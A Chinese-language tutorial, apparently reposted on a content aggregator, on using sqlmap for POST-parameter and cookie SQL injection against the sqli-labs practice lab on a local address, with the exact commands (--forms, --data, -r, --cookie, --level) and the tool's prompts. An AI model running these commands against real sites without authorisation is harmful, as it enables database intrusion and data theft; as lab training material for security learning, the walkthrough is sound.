栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

sqlmap之POST注入与cookie注入

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

sqlmap之POST注入与cookie注入

目录

零、POST注入

POST和GET

寻找注入点

sqlmap注入

方法一

方法二

方法三

壹、cookie注入 

寻找注入点

sqlmap注入

方法一

方法二 


零、POST注入

POST和GET

POST和GET是HTTP的两种请求方法,并且是两种最常用的请求方法

GET一般指向指定资源请求数据,而POST则是要向指定资源提交需要被处理的数据

查询字符串是在 GET 请求的 URL 中发送的,类似于这样

 

 而POST查询字符串是在 请求的 HTTP 消息主体中发送的,类似于这样

POST /test/demo.php HTTP/1.1
Host: www.test.com
name1=value1&name2=value2
  • GET 请求可被缓存,可以保留在浏览器历史记录中,可被收藏为书签,不应在处理敏感数据时使用,有长度限制,只应当用于取回数据
  • POST 请求不会被缓存,不会保留在浏览器历史记录中,不能被收藏为书签,请求对数据长度没有要求

接下来使用sqlmap进行POST注入,会借助sqli-labs-master靶场第11、12、13关,总共介绍三种方法

寻找注入点

我们可以看到靶场是一个登录框的样子

先使用BurpSuite抓包检测一下是否存在SQL注入 ,先将抓到的POST包发送至repeater

在uname后加一个单引号触发报错

现在就要利用该注入点来获取数据,为了节约时间,采用sqlmap辅助进行,也是对工具的一个使用过程

sqlmap注入

方法一

使用 sqlmap 的 --forms 参数自动搜索表单

python sqlmap.py -u "http://192.168.8.128/sql/Less-11/" --forms

输入后敲回车

POST http://192.168.8.128/sql/Less-11/
POST data: uname=&passwd=&submit=Submit
do you want to test this form? [Y/n/q]

问是不是要测试这个表单,输入 y 按回车即可,直接按回车也可以,默认输入第一项

Edit POST data [default: uname=&passwd=&submit=Submit] (Warning: blank fields detected): uname=vegetable&passwd=admin123&submitsubmit

需要编辑测试数据,填这个uname=vegetable&passwd=admin123&submitsubmit,和我们抓的包保持一致

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

说的是看起来像MySQL数据库,是否选择跳过其他数据库,我选了yes 

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]

就是问是否要包括扩展提供的级别 (1) 和风险 (1) 值的“MySQL”的所有测试,我选了yes

POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

发现uname是一个注入点,问还要不要继续测试其他的,然后就OK了

 接下来在尝试爆库,爆表,爆字段和数据即可,不在演示,需要请参考前文sqlmap使用教程

方法二

这个方法使用 --data 来指定一个参数

python sqlmap.py -u "http://192.168.8.128/sql/Less-12/" --data "uname=vegetable&passwd=admin123&submit=submit"

uname是注入点,那就指定这个参数

用这个方法来测试一下第12关,当然11关也可以啦。12关与11关的区别就是12关需要使用双引号触发报错

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]

POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

问的问题也和刚才那一关大同小异

好了,废话少说,介绍第三种方法吧

方法三

第三种方法使用BurpSuite先抓包,然后将数据包转存至文件中,在使用 -r 参数扫描该文件

这次用第13关好了

python sqlmap.py -r "C:Users13090Desktoppost.txt" -p uname

-p 是指定参数,还是指定uname

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]

do you want to (re)try to find proper UNIOn column types with fuzzy test? [y/N]

要通过模糊测试找到合适的union列类型吗,我选yes

injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]

注入不可利用 NULL 值。是否尝试使用随机整数值作为选项,选yes

POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

然后就没有然后了 

壹、cookie注入 

方法一

使用sqlmap --cookie来检测cookie注入

在此,也可以将等级设置的高一点,设到2或者3,我设到了3

python sqlmap.py -u "http://192.168.8.128/sql/Less-20/" --cookie="uname=admin" --level 3

do you want to try URI injections in the target URL itself? [Y/n/q]

在url本身中尝试url注入,选了yes

it is recommended to perform only basic UNIOn tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]

如果没有发现至少一种其他(潜在)技术,建议仅执行基本的 UNIOn 测试。你想减少请求的数量吗?yes

do you want to URL encode cookie values (implementation specific)? [Y/n]

是否对cookie值进行url编码,yes

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) and risk (1) values? [Y/n]

对于剩余的测试,您是否要包括扩展提供的级别 (3) 和风险 (1) 值的“MySQL”的所有测试?

cookie parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

cookie值uname易受攻击

方法二 

与之前提到的方法一样,使用 -r 扫描文件

 先将burp抓的包保存至txt文件中,然后扫描它

python sqlmap.py -r "C:Users13090Desktoppost.txt" -p cookie

target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]

目标 URL 内容不稳定(即内容不同)。sqlmap 将基于序列匹配器进行页面比较。如果未检测到动态或可注射参数,或出现垃圾结果,请参阅用户手册“页面比较”段落。我选择了继续

do you want to URL encode cookie values (implementation specific)? [Y/n]

是否对cookie值进行编码?yes

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]

(custom) HEADER parameter 'cookie' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

好了,就简单介绍到这里,over !! 

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/355022.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号